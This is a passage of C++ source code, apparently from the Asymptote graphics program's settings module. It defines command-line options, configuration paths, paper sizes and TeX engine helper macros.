syntax=true; } else { syntax=true; } if (showVersion) { // Don't exit yet — continue parsing remaining options } errno=0; } if (showVersion) { // Don't exit yet — continue parsing remaining options, then exit // from setOptions() after setPath() has been called so that the // renderer can locate its shared libraries. } if (syntax) reportSyntax(); } #ifdef USEGC void no_GCwarn(char *, GC_word) { } #endif array* stringArray(const char **s) { size_t count=0; while(s[count]) ++count; array *a=new array(count); for(size_t i=0; i < count; ++i) (*a)[i]=string(s[i]); return a; } void initSettings() { static bool initialize=true; if(initialize) { #if defined(_WIN32) queryRegistry(); #endif initialize=false; } settingsModule=new types::dummyRecord(symbol::literalTrans("settings")); // Default mouse bindings // LEFT: rotate // SHIFT LEFT: zoom // CTRL LEFT: shift // ALT LEFT: pan const char *leftbutton[]={"rotate","zoom","shift","pan",NULL}; // MIDDLE: const char *middlebutton[]={NULL}; // RIGHT: zoom // SHIFT RIGHT: rotateX // CTRL RIGHT: rotateY // ALT RIGHT: rotateZ const char *rightbutton[]={"zoom","rotateX","rotateY","rotateZ",NULL}; // WHEEL_UP: zoomin const char *wheelup[]={"zoomin",NULL}; // WHEEL_DOWN: zoomout const char *wheeldown[]={"zoomout",NULL}; addOption(new stringArraySetting("leftbutton", stringArray(leftbutton))); addOption(new stringArraySetting("middlebutton", stringArray(middlebutton))); addOption(new stringArraySetting("rightbutton", stringArray(rightbutton))); addOption(new stringArraySetting("wheelup", stringArray(wheelup))); addOption(new stringArraySetting("wheeldown", stringArray(wheeldown))); addOption(new stringArraySetting("suppress", new array)); addOption(new warnSetting("warn", 0, "str", "Enable warning")); multiOption *view=new multiOption("View", 'V', "View output"); view->add(new boolSetting("batchView", 0, "View output in batch mode", msdos)); view->add(new boolSetting("multipleView", 0, "View output from multiple batch-mode files", false)); view->add(new boolSetting("interactiveView", 0, "View output in interactive mode", true)); addOption(view); addOption(new stringSetting("outformat", 'f', "format", "Convert each output file to specified format", "")); addOption(new boolSetting("svgemulation", 0, "Emulate unimplemented SVG shading", true)); addOption(new boolSetting("prc", 0, "Embed 3D PRC graphics in PDF output", false)); addOption(new boolSetting("v3d", 0, "Embed 3D V3D graphics in PDF output", false)); addOption(new boolSetting("toolbar", 0, "Show 3D toolbar in PDF output", true)); addOption(new boolSetting("axes3", 0, "Show 3D axes in PDF output", true)); addOption(new boolSetting("ibl", 0, "Enable environment map image-based lighting", false)); addOption(new stringSetting("image", 0,"str","Environment image name","snowyField")); addOption(new stringSetting("imageDir", 0,"str","Environment image library directory","ibl")); addOption(new stringSetting("imageURL", 0,"str","Environment image library URL","https://vectorgraphics.gitlab.io/asymptote/ibl")); addOption(new realSetting("render", 0, "n", "Render 3D graphics using n pixels per bp (-1=auto)", havegl ? -1.0 : 0.0)); addOption(new realSetting("devicepixelratio", 0, "n", "Ratio of physical to logical pixels", 0.0)); addOption(new IntSetting("antialias", 0, "n", "Antialiasing width for rasterized output", 2)); addOption(new IntSetting("multisample", 0, "n", "Multisampling width for screen images", 4)); addOption(new boolSetting("fxaa", 0, "Enable FXAA. Multisampling is turned off if FXAA is enabled", false)); addOption(new boolSetting("vsync", 0, "Vertically synchronize with monitor", false)); addOption(new boolSetting("srgb", 0, "Render 3D images in sRGB space", false)); addOption(new boolSetting("offscreen", 0, "Use offscreen rendering", false)); addOption(new IntSetting("device", 0, "n", "Set Vulkan device", -1)); addOption(new boolSetting("twosided", 0, "Use two-sided 3D lighting model for rendering", true)); addOption(new boolSetting("GPUindexing", 0, "Compute indexing partial sums on GPU", true)); addOption(new boolSetting("GPUinterlock", 0, "Use fragment shader interlock", true)); addOption(new boolSetting("GPUcompress", 0, "Compress GPU transparent fragment counts", false)); addOption(new IntSetting("GPUlocalSize", 0, "n", "Compute shader local size", 256)); addOption(new IntSetting("GPUblockSize", 0, "n", "Compute shader block size", 8)); addOption(new IntSetting("maxFramesInFlight", 0, "n", "Maximum frames queued to the GPU", 3)); addOption(new pairSetting("position", 0, "pair", "Initial 3D rendering screen position")); addOption(new pairSetting("maxviewport", 0, "pair", "Maximum viewport size",pair(0,0))); addOption(new pairSetting("viewportmargin", 0, "pair", "Horizontal and vertical 3D viewport margin", pair(0.5,0.5))); addOption(new boolSetting("webgl2", 0, "Use webgl2 if available", false)); addOption(new boolSetting("absolute", 0, "Use absolute WebGL dimensions", false)); addOption(new pairSetting("maxtile", 0, "pair", "Maximum rendering tile size",pair(1024,768))); addOption(new boolSetting("iconify", 0, "", false)); addOption(new boolSetting("thick", 0, "Render thick 3D lines", true)); addOption(new boolSetting("thin", 0, "Render thin 3D lines", true)); addOption(new boolSetting("autobillboard", 0, "3D labels always face viewer by default", true)); addOption(new boolSetting("threads", 0, "Use POSIX threads for 3D rendering", true)); addOption(new boolSetting("vulkan", 0, "Use Vulkan renderer if available", true)); addOption(new boolSetting("fitscreen", 0, "Fit rendered image to screen", true)); addOption(new boolSetting("interactiveWrite", 0, "Write expressions entered at the prompt to stdout", true)); addOption(new helpOption("help", 'h', "Show summary of options")); addOption(new helpOption("environment", 'e', "Show summary of environment settings")); addOption(new versionOption("version", 0, "Show version")); addOption(new licensesOption("licenses", 0, "Show license and third-party attribution")); addOption(new pairSetting("offset", 'O', "pair", "PostScript offset")); addOption(new pairSetting("aligndir", 0, "pair", "Directional page alignment (overrides align)")); addOption(new alignSetting("align", 'a', "C|B|T|Z", "Center, Bottom, Top, or Zero page alignment", "C")); addOption(new boolrefSetting("debug", 'd', "Enable debugging messages and traceback",&debug)); addOption(new incrementSetting("verbose", 'v', "Increase verbosity level (can specify multiple times)", &verbose)); // Resolve ambiguity with --version addOption(new incrementOption("vv", 0,"", &verbose,2)); addOption(new incrementOption("novv", 0,"", &verbose,-2)); addOption(new boolSetting("keep", 'k', "Keep intermediate files")); addOption(new boolSetting("keepaux", 0, "Keep intermediate LaTeX .aux files")); addOption(new engineSetting("tex", 0, "engine", "latex|pdflatex|xelatex|lualatex|tex|pdftex|luatex|context|none", "latex")); addOption(new boolSetting("twice", 0, "Run LaTeX twice (to resolve references)")); addOption(new boolSetting("inlinetex", 0, "Generate inline TeX code")); addOption(new boolSetting("embed", 0, "Embed rendered preview image", true)); addOption(new boolSetting("auto3D", 0, "Automatically activate 3D scene", true)); addOption(new boolSetting("autoplay", 0, "Autoplay 3D WebGL animations", true)); addOption(new boolSetting("loop", 0, "Loop 3D animations", false)); addOption(new boolSetting("interrupt", 0, "", false)); addOption(new boolSetting("animating", 0, "", false)); addOption(new boolSetting("reverse", 0, "reverse 3D animations", false)); addOption(new boolSetting("inlineimage", 0, "Generate inline embedded image")); addOption(new boolSetting("compress", 0, "Compress images in PDF output", true)); addOption(new boolSetting("parseonly", 'p', "Parse file")); addOption(new boolSetting("translate", 's', "Show translated virtual machine code")); addOption(new boolSetting("tabcompletion", 0, "Interactive prompt auto-completion", true)); addOption(new realSetting("prerender", 0, "resolution", "Prerender V3D objects (0 implies vector output)", 0)); addOption(new boolSetting("lossy", 0, "Use single precision for V3D reals", false)); addOption(new boolSetting("listvariables", 'l', "List available global functions and variables")); addOption(new boolSetting("where", 0, "Show where listed variables are declared")); multiOption *mask=new multiOption("mask", 'm', "Mask fpu exceptions"); mask->add(new boolSetting("batchMask", 0, "Mask fpu exceptions in batch mode", false)); mask->add(new boolSetting("interactiveMask", 0, "Mask fpu exceptions in interactive mode", true)); addOption(mask); addOption(new boolrefSetting("bw", 0, "Convert all colors to black and white",&bw)); addOption(new boolrefSetting("gray", 0, "Convert all colors to grayscale", &gray)); addOption(new boolrefSetting("rgb", 0, "Convert cmyk colors to rgb",&rgb)); addOption(new boolrefSetting("cmyk", 0, "Convert rgb colors to cmyk",&cmyk)); addSecureSetting(new boolrefSetting("safe", 0, "Disable system call", &safe, true)); addSecureSetting(new boolrefSetting("globalwrite", 0, "Allow write to other directory", &globalWrite, false)); addSecureSetting(new boolrefSetting("globalread", 0, "Allow read from other directory", &globalRead, true)); addSecureSetting(new boolrefSetting("curlAfterRead", 0, "Allow libcurl after reading local files via input()", &curlOverride, false)); addSecureSetting(new stringSetting("outname", 'o', "name", "Alternative output directory/file prefix")); addOption(new stringOption("cd", 0, "directory", "Set current directory", &startpath)); addOption(new compactSetting("compact", 0, "Conserve memory at the expense of speed", &compact)); addOption(new divisorOption("divisor", 0, "n", "Garbage collect using purge(divisor=n) [2]")); addOption(new stringSetting("prompt", 0,"str","Prompt","> ")); addOption(new stringSetting("prompt2", 0,"str", "Continuation prompt for multiline input ", "..")); addOption(new boolSetting("multiline", 0, "Input code over multiple lines at the prompt")); addOption(new boolrefSetting("xasy", 0, "Interactive mode for xasy",&xasy)); addOption(new boolrefSetting("keys", 0, "Generate WebGL keys",&keys)); addOption(new boolSetting("lsp", 0, "Interactive mode for the Language Server Protocol")); addOption(new envSetting("lspport", "")); addOption(new envSetting("lsphost", "127.0.0.1")); addOption(new boolSetting("wsl", 0, "Run asy under the Windows Subsystem for Linux")); addOption(new boolSetting("wait", 0, "Wait for child processes to finish before exiting")); addOption(new IntSetting("inpipe", 0, "n","Input pipe",-1)); addOption(new IntSetting("outpipe", 0, "n","Output pipe",-1)); addOption(new boolSetting("exitonEOF", 0, "Exit interactive mode on EOF", true)); addOption(new boolSetting("quiet", 'q', "Suppress welcome text and noninteractive stdout")); addOption(new boolSetting("localhistory", 0, "Use a local interactive history file")); addOption(new IntSetting("historylines", 0, "n", "Retain n lines of history",1000)); addOption(new IntSetting("scroll", 0, "n", "Scroll standard output n lines at a time",0)); addOption(new IntSetting("level", 0, "n", "Postscript level",3)); addOption(new boolSetting("autoplain", 0, "Enable automatic importing of plain", true)); addOption(new boolSetting("autorotate", 0, "Enable automatic PDF page rotation", false)); addOption(new boolSetting("offline", 0, "Produce offline html files",false)); addOption(new boolSetting("pdfreload", 0, "Automatically reload document in pdfviewer", false)); addOption(new IntSetting("pdfreloaddelay", 0, "usec", "Delay before attempting initial pdf reload" ,750000)); addOption(new stringSetting("autoimport", 0, "str", "Module to automatically import")); addOption(new userSetting("command", 'c', "str", "Command to autoexecute")); addOption(new userSetting("user", 'u', "str", "General purpose user string")); addOption(new realSetting("zoomfactor", 0, "factor", "Zoom step factor", 1.05)); addOption(new realSetting("zoomThreshold", 0, "threshold", "Zoom remesh threshold", 0.02)); addOption(new realSetting("zoomPinchFactor", 0, "n", "WebGL zoom pinch sensitivity", 10)); addOption(new realSetting("zoomPinchCap", 0, "limit", "WebGL maximum zoom pinch", 100)); addOption(new realSetting("zoomstep", 0, "step", "Mouse motion zoom step", 0.1)); addOption(new realSetting("shiftHoldDistance", 0, "n", "WebGL touch screen distance limit for shift mode", 20)); addOption(new realSetting("shiftWaitTime", 0, "ms", "WebGL touch screen shift mode delay", 200)); addOption(new realSetting("vibrateTime", 0, "ms", "WebGL shift mode vibrate duration", 25)); addOption(new realSetting("spinstep", 0, "deg/s", "Spin speed", 60.0)); addOption(new realSetting("framerate", 0, "frames/s", "Animation speed", 30.0)); addOption(new realSetting("resizestep", 0, "step", "Resize step", 1.2)); addOption(new IntSetting("digits", 0, "n", "Default output file precision", 7)); addOption(new realSetting("paperwidth", 0, "bp", "Default page width")); addOption(new realSetting("paperheight", 0, "bp", "Default page height")); addOption(new stringSetting("dvipsOptions", 0, "str", "")); addOption(new stringSetting("dvisvgmOptions", 0, "str", "", "--optimize")); addOption(new boolSetting("dvisvgmMultipleFiles", 0, "dvisvgm supports multiple files", true)); addOption(new stringSetting("convertOptions", 0, "str", "")); addOption(new stringSetting("gsOptions", 0, "str", "")); addOption(new stringSetting("htmlviewerOptions", 0, "str", "")); addOption(new stringSetting("psviewerOptions", 0, "str", "")); addOption(new stringSetting("pdfviewerOptions", 0, "str", "")); addOption(new stringSetting("pdfreloadOptions", 0, "str", "")); addOption(new stringSetting("glOptions", 0, "str", "")); addOption(new stringSetting("hyperrefOptions", 0, "str", "","setpagesize=false,unicode,pdfborder=0 0 0")); addOption(new envSetting("config","config."+suffix)); addOption(new envSetting("htmlviewer", defaultHTMLViewer)); addOption(new envSetting("pdfviewer", defaultPDFViewer)); addOption(new envSetting("psviewer", defaultPSViewer)); addOption(new envSetting("gs", defaultGhostscript)); addOption(new envSetting("libgs", defaultGhostscriptLibrary)); addOption(new envSetting("epsdriver", defaultEPSdriver)); addOption(new envSetting("psdriver", defaultPSdriver)); addOption(new envSetting("pngdriver", defaultPNGdriver)); addOption(new envSetting("asygl", defaultAsyGL)); addOption(new envSetting("texpath", "")); addOption(new envSetting("texcommand", "")); addOption(new envSetting("dvips", "dvips")); addOption(new envSetting("dvisvgm", "dvisvgm")); addOption(new envSetting("convert", "magick")); addOption(new envSetting("display", defaultDisplay)); addOption(new envSetting("animate", defaultAnimate)); addOption(new envSetting("papertype", "letter")); addOption(new envSetting("dir", "")); addOption(new envSetting("sysdir", systemDir)); addOption(new envSetting("textcommand","groff")); addOption(new envSetting("textcommandOptions","-e -P -b16")); addOption(new envSetting("textextension", "roff")); addOption(new envSetting("textoutformat", "ps")); addOption(new envSetting("textprologue", ".EQ\ndelim $$\n.EN")); addOption(new envSetting("textinitialfont", ".fam T\n.ps 12")); addOption(new envSetting("textepilogue", ".bp")); } // Access the arguments once options have been parsed. int numArgs() { return argCount; } char *getArg(int n) { return argList[n]; } void setInteractive() { if(xasy && getSetting("outpipe") < 0) { cerr << "Missing outpipe." << endl; exit(-1); } bool lspmode=getSetting("lsp"); if(numArgs() == 0 && !getSetting("listvariables") && getSetting("command").empty() && (isatty(STDIN_FILENO) || xasy || lspmode)) interact::interactive=true; if(getSetting("localhistory")) historyname=string(getPath())+dirsep+"."+suffix+"_history"; else { #if defined(_WIN32) bool mkdirResult = CreateDirectoryA(initdir.c_str(), nullptr); bool mkdirSuccess = mkdirResult || GetLastError() == ERROR_ALREADY_EXISTS; #else int mkdirResult = mkdir(initdir.c_str(),0777); bool mkdirSuccess = mkdirResult == 0 || errno == EEXIST; #endif if(!mkdirSuccess) cerr << "failed to create directory "+initdir+"." << endl; historyname=initdir+"/history"; } if(!quiet && verbose > 1) cerr << "Using history " << historyname << endl; } bool view() { if (interact::interactive) return getSetting("interactiveView"); else return getSetting("batchView") && (numArgs() == 1 || getSetting("multipleView")); } bool trap() { if (interact::interactive) return !getSetting("interactiveMask"); else return !getSetting("batchMask"); } string outname() { string name=getSetting("outname"); if(name.empty() && interact::interactive) return standardprefix; if(msdos) backslashToSlash(name); return name; } string lookup(const string& symbol) { string s; mem::vector cmd; string kpsewhich="kpsewhich"; string fullname=stripFile(argv0)+kpsewhich; std::ifstream exists(fullname.c_str()); if(!exists) fullname=kpsewhich; cmd.push_back(fullname); cmd.push_back("--var-value="+symbol); iopipestream pipe(cmd); pipe >> s; size_t n=s.find('\r'); if(n != string::npos) s.erase(n,1); n=s.find('\n'); if(n != string::npos) s.erase(n,1); return s; } void initDir() { if(getSetting("sysdir").empty()) { string s=lookup("TEXMFMAIN"); if(s.size() > 1) { string texmf=s+dirsep; docdir=texmf+"doc"+dirsep+"asymptote"; Setting("sysdir")=texmf+"asymptote"; s=lookup("ASYMPTOTE_HOME"); if(s.size() > 1) initdir=s; } } if(initdir.empty()) initdir=Getenv("ASYMPTOTE_HOME",msdos); if(initdir.empty()) initdir=Getenv(HOME.c_str(),msdos)+dirsep+"."+suffix; #if defined(_WIN32) DWORD dirAttrib = GetFileAttributesA(initdir.c_str()); bool dirExists = dirAttrib != INVALID_FILE_ATTRIBUTES && ((dirAttrib & FILE_ATTRIBUTE_DIRECTORY) != 0); #else bool dirExists = access(initdir.c_str(),F_OK) == 0; #endif if(dirExists) { if(!quiet && verbose > 1) cerr << "Using configuration directory " << initdir << endl; } } void setPath() { searchPath.clear(); searchPath.push_back("."); string asydir=getSetting("dir"); if(asydir != "") { size_t p,i=0; while((p=asydir.find(pathSeparator,i)) < string::npos) { if(p > i) searchPath.push_back(asydir.substr(i,p-i)); i=p+1; } if(i < asydir.length()) searchPath.push_back(asydir.substr(i)); } #if defined(_WIN32) DWORD dirAttrib = GetFileAttributesA(initdir.c_str()); bool dirExists = dirAttrib != INVALID_FILE_ATTRIBUTES && ((dirAttrib & FILE_ATTRIBUTE_DIRECTORY) != 0); #else bool dirExists = access(initdir.c_str(),F_OK) == 0; #endif if(dirExists) searchPath.push_back(initdir); string sysdir=getSetting("sysdir"); if(sysdir != "") searchPath.push_back(sysdir); searchPath.push_back(docdir+"/examples"); } void SetPageDimensions() { string paperType=getSetting("papertype"); if(paperType.empty() && getSetting("paperwidth") != 0.0 && getSetting("paperheight") != 0.0) return; if(paperType == "letter") { Setting("paperwidth")=8.5*inches; Setting("paperheight")=11.0*inches; } else { Setting("paperwidth")=21.0*cm; Setting("paperheight")=29.7*cm; if(paperType != "a4") { cerr << "Unknown paper size \'" << paperType << "\'; assuming a4." << endl; Setting("papertype")=string("a4"); } } } bool xe(const string& texengine) { return texengine == "xelatex"; } bool lua(const string& texengine) { return texengine == "luatex" || texengine == "lualatex"; } bool context(const string& texengine) { return texengine == "context"; } bool pdf(const string& texengine) { return texengine == "pdflatex" || texengine == "pdftex" || xe(texengine) || lua(texengine) || context(texengine); } bool latex(const string& texengine) { return texengine == "latex" || texengine == "pdflatex" || texengine == "xelatex" || texengine == "lualatex"; } string nativeformat() { return pdf(getSetting("tex")) ? "pdf" : "eps"; } string defaultformat() { string format=getSetting("outformat"); return (format.empty()) ? nativeformat() : format; } // TeX special command to set up currentmatrix for typesetting labels. const char *beginlabel(const string& texengine) { if(pdf(texengine)) return xe(texengine) ? "\\special{pdf:literal q #5 0 0 cm}" : "\\special{pdf:q #5 0 0 cm}"; else return "\\special{ps:gsave currentpoint currentpoint translate [#5 0 0] " "concat neg exch neg exch translate}"; } // TeX special command to restore currentmatrix after typesetting labels. const char *endlabel(const string& texengine) { if(pdf(texengine)) return xe(texengine) ? "\\special{pdf:literal Q}" : "\\special{pdf:Q}"; else return "\\special{ps:currentpoint grestore moveto}"; } // TeX macro to typeset raw postscript code const char *rawpostscript(const string& texengine) { if(pdf(texengine)) return "\\def\\ASYraw#1{#1}"; else return "\\def\\ASYraw#1{\n" "currentpoint currentpoint translate matrix currentmatrix\n" "100 12 div -100 12 div scale\n" "#1\n" "setmatrix neg exch neg exch translate}"; } // TeX macro to begin picture const char *beginpicture(const string& texengine) { if(latex(texengine)) return "\\begin{picture}"; if(context(texengine)) return ""; else return "\\picture"; } // TeX macro to end picture const char *endpicture(const string& texengine) { if(latex(texengine)) return "\\end{picture}%"; else if(context(texengine)) return "%"; else return "\\endpicture%"; } // TeX macro to begin new page. const char *newpage(const string& texengine) { if(latex(texengine)) return "\\newpage"; else if(context(texengine)) return "}\\page\\hbox{%"; else return "\\eject"; } // Begin TeX special command. const char *beginspecial(const string& texengine) { if(pdf(texengine)) return xe(texengine) ? "\\special{pdf:literal " : "\\special{pdf:"; else return "\\special{ps:"; } // End TeX special command. const char *endspecial() { return "}%"; } string texcommand() { string command=getSetting("texcommand"); return command.empty() ? getSetting("tex") : command; } string texprogram() { string path=getSetting("texpath"); string engine=texcommand(); return path.empty() ? engine : (string) (path+"/"+engine); } Int getScroll() { Int scroll=settings::getSetting("scroll"); if(scroll < 0) { #ifdef HAVE_LIBCURSES static char *terminal=NULL; if(!terminal) terminal=getenv("TERM"); if(terminal) { #if defined(USE_SETUPTERM) int error=setupterm(terminal,1,&error); if(error == 0) scroll=lines > 2 ? lines-1 : 1; else #endif scroll=0; } else scroll=0; #else scroll=0; #endif } return scroll; } void doConfig(string file) { bool autoplain=getSetting("autoplain"); bool listvariables=getSetting("listvariables"); if(autoplain) Setting("autoplain")=false; // Turn off for speed. if(listvariables) Setting("listvariables")=false; runFile(file); if(autoplain) Setting("autoplain")=true; if(listvariables) Setting("listvariables")=true; } void setOptions(int argc, char *argv[]) { argv0=argv[0]; cout.precision(DBL_DIG); // Build settings module. initSettings(); // Read command-line options initially to obtain config, dir, sysdir, // verbose, and quiet. getOptions(argc,argv); quiet=getSetting("quiet"); // Make configuration and history directory initDir(); Int Verbose=verbose; string sysdir=getSetting("sysdir"); resetOptions(); // Read user configuration file. setPath(); string filename=getSetting("config"); if(!filename.empty()) { string file=locateFile(filename); if(!file.empty()) { if(!quiet && Verbose > 1) cerr << "Loading " << filename << " from " << file << endl; doConfig(file); } } // Read command-line options again to override configuration file defaults. getOptions(argc,argv); if(getSetting("outpipe") == 2) // Redirect cerr to cout std::cerr.rdbuf(std::cout.rdbuf()); Setting("sysdir")=sysdir; if(docdir.empty()) docdir=getSetting("dir"); #ifdef USEGC if(verbose == 0 && !debug) GC_set_warn_proc(no_GCwarn); #endif if(setlocale (LC_ALL, "") == NULL && debug) perror("setlocale"); // Set variables for the file arguments. argCount = argc - optind; argList = argv + optind; // Recompute search path. setPath(); if(getSetting("paperwidth") != 0.0 && getSetting("paperheight") != 0.0) Setting("papertype")=string(""); SetPageDimensions(); setInteractive(); if (showVersion) { version(); displayFeatures(true); displayFeatures(false); exit(0); } } }